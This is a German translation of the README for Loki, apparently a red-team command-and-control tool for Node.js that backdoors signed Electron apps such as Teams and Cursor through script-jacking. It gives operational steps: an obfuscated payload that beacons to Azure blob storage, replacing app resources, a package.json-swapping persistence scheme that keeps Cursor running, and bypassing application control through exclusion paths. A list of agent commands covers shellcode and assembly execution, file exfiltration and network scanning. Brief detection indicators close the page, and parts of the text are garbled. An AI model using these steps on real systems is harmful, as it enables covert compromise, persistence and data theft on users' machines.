
🧙♂️ Node.js Command & Control zum Script-Jacking verwundbarer Electron-Anwendungen
Loki ist ein Command-and-Control-Framework (C2) der Stufe 1, geschrieben in Node.js, das verwundbare Electron-Apps per Script-Jacking übernimmt MITRE ATT&CK T1218.015. Loki wurde für Red-Team-Operationen entwickelt und ermöglicht die Umgehung von Sicherheitssoftware und Anwendungskontrollen durch die Ausnutzung vertrauenswürdiger, signierter Electron-Apps.
Beim Script-Jacking wird der Ausführungsfluss einer Electron-App gekapert, indem zur Laufzeit geladene JavaScript-Dateien mit beliebigem Node.js-Code modifiziert werden. Diese Technik kann genutzt werden, um:
Während sich mehrere Tools bereits damit befassen, Script-Jacking zu nutzen, um die Ausführung auf einen anderen Prozess zu verketten, ist Loki das erste, das das Backdooring und Hollowing signierter Electron-Apps ermöglicht, ohne deren Code-Signatur zu invalidieren.
Weitere Details zur Funktionsweise von Loki findest du in diesem Blogbeitrag:

| Name | Beiträge |
|---|
| Bobby Cooke | Ersteller & Betreuer |
| Dylan Tran | Ersteller |
| Ellis Springe | Alpha-Tester |
| Shawn Jones | Assembly-Ausführungscode |
| Trusted Sec | COFFLoader-Code |
| Simon Exley | Video-Ersteller |
| Clinton Elves | Video-Ersteller |
| John Hammond | Video-Ersteller |
Schau dir dieses Video von John Hammond an, in dem er Cursor AI mit Loki C2 backdoort! 🎩
Schau dir dieses Video von Simon Exley & Clinton Elves an, um mit Loki C2 loszulegen! 🧙♂️
Alle Agent-Befehle sind in nativem Node.JS geschrieben und benötigen keine zusätzlichen Abhängigkeiten oder Bibliotheksladeereignisse. Mit Ausnahme der Befehle scexec und assembly, die eine Bibliotheksladung auf keytar.node und assembly.node durchführen.
/, \ in Pfaden funktioniert nicht.| Befehl | Beschreibung |
|---|---|
help | Hilfe anzeigen. Verwendung: help oder help scan |
pwd | Arbeitsverzeichnis anzeigen |
ls | Datei- und Verzeichnisliste |
cat | Inhalt einer Datei anzeigen |
env | Prozess-Umgebungsvariablen anzeigen |
spawn | Einen Kindprozess starten |
drives | Laufwerke auflisten |
mv | Eine Datei zu einem neuen Ziel verschieben |
sleep | Für Sekunden mit Jitter schlafen |
cp | Eine Quelldatei zu einem Ziel kopieren |
exit-all | Beendet den Agent; der Agent meldet sich nicht mehr zurück |
load | Eine Node-PE-Datei von der Festplatte in den Prozess laden |
scexec | Shellcode ausführen |
assembly | Eine .NET-Assembly ausführen und Befehlsausgabe erhalten |
upload | Eine Datei von deiner lokalen Operator-Box auf die entfernte Agent-Box hochladen |
download | Eine Datei von der entfernten Agent-Box auf die lokale Operator-Box herunterladen |
scan | TCP-Netzwerkscan über den CIDR-Bereich mit ausgewählten Ports durchführen |
dns | DNS-Lookup. Nutzt die DNS-Konfiguration des Systems |
set | Legt die Node-Ladepfade für Assembly-Node und Scexec-Node fest |
bof | Eine COFF-Datei ausführen und Ausgabe zurückgeben |
Set – Nodes aus Ausschlusspfaden der Anwendungskontrolle ladenset die Ladepfade für assembly.node und scexec.node ändern.ls, cat, cp und mv kannst du möglicherweise die Application-Control-Regeln enumerieren, um ein beschreibbares Verzeichnis zu finden, das ausgenommen ist.set ihren Ladepfad auf das Ausschlussverzeichnis ändern, um die Anwendungskontrolle zu umgehen.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
Zuerst musst du eine verwundbare Electron-Anwendung identifizieren, die keine ASAR-Sicherheitsintegritätsprüfungen durchführt, wie z. B. Microsoft Teams. Neuere Anwendungen können Integritätsprüfungen haben, die das Backdooring verhindern. Ältere Versionen der Ziel-App sind mit größerer Wahrscheinlichkeit verwundbar.
Du musst den Agent beim Backdooring von Electron-Apps nicht kompilieren. Ersetze einfach den Inhalt von {ELECTRONAPP}/resources/app/ mit den Loki-Agent-Dateien.
cd hineinjavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js aus, um ein Loki-Payload mit deinen Storage-Account-Informationen zu erstellenbobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/ ausgegeben{ELECTRONAPP}/resources/./app/ nach {ELECTRONAPP}/resources/app/Starte den Loki-GUI-Client
Klicke in der Menüleiste auf Loki Client > Configuration, um das Einstellungsfenster zu öffnen
Gib deine Storage-Account-Details ein und klicke auf Save

Der Agent sollte jetzt im Dashboard erscheinen
Klicke in der Dashboard-Tabelle auf den Agent, um das Agent-Fenster zu öffnen
Teste, um sicherzustellen, dass Loki ordnungsgemäß funktioniert
Der einfachste Weg, Loki zu nutzen, besteht darin, die Dateien in {ELECTRONAPP}/resources/app/ durch die Loki-Dateien zu ersetzen. Dies höhlt die App aus, d. h. die App funktioniert nicht mehr normal -- Loki hat ihre Funktionalität ersetzt.
Wenn du die Electron-Anwendung wirklich weiterlaufen lassen und zusätzlich Loki im Hintergrund bereitstellen möchtest, ist noch nicht alle Hoffnung verloren! John Hammond und ich haben einen Weg gefunden, die echte Electron-Anwendung weiterlaufen zu lassen. Wir haben dazu die Datei /loki/backdoor/init.js in dieses Repo aufgenommen.
Sie ist derzeit für Cursor eingerichtet, das von John Hammond als verwundbar entdeckt wurde.
Dazu musst du:
package.json nach cursor/resources/app/ einfügen
package.json/loki/backdoor/init.js nach cursor/resources/app/cursor/resources/app/package.json folgendermaßen:
"main":"init.js","type":"module","private":true,Cursor.exe init.js beim Klick / bei der Ausführunginit.js liest package.jsoninit.js ändert "main":"init.js", -> "main":"main.js",
main.js ist Lokiinit.js startet und löst sich von einem neuen Cursor.exe, der auf Loki zeigtinit.js liest package.json erneutinit.js ändert "main":"main.js", -> "main":"./out/main.js",
./out/main.js" ist die echte Cursor-Anwendunginit.js startet und löst sich von einem neuen Cursor.exe, der auf den echten Cursor zeigtinit.js fängt die Beendigung abinit.js liest package.json zum dritten Malinit.js ändert "main":"./out/main.js", -> "main":"init.js",Auf diese Weise ist die App dauerhaft backdoort und funktioniert normal. Wenn die Cursor-App beendet wird, läuft Loki weiter im Hintergrund.
Ich werde in Zukunft ein Skript erstellen, um dies zu automatisieren.
Dies sind die Kompilierungsanweisungen zum Erstellen der Agents & Clients. Die Anweisungen decken mehrere Plattformen ab, einschließlich Windows, Linux und macOS. Es wird empfohlen, den Client auf der Zielplattform und -architektur zu kompilieren.
Wenn du eine Electron-Anwendung backdoort, musst du keine Agents kompilieren.
Ich empfehle nicht, den Agent zu kompilieren und für Operationen zu verwenden. Die Kompilierungsanweisungen für Agents sind für die Entwicklung gedacht.
~/Downloads/Teams/Teams.exe*.blob.core.windows.net beaconennetstat.exe oder whoami.exe startenpackage.json wird in ~/AppData/Roaming/{NAME} erstellt, wenn das Loki-JavaScript im Electron-Prozess ausgeführt wird.%LOCALAPPDATA%\Microsoft\Teams\current\app erstellt%LOCALAPPDATA%\Microsoft\Teams\current\app.asar von einem Nicht-Teams-Installer/-Updater erstellt/geändertDieses Projekt ist unter der Business Source License 1.1 lizenziert. Die nicht-kommerzielle Nutzung ist unter den Bedingungen der Lizenz gestattet. Die kommerzielle Nutzung erfordert die ausdrückliche Genehmigung des Autors. Am 3. April 2030 wird diese Lizenz in Apache 2.0 umgewandelt. Einzelheiten findest du in LICENSE.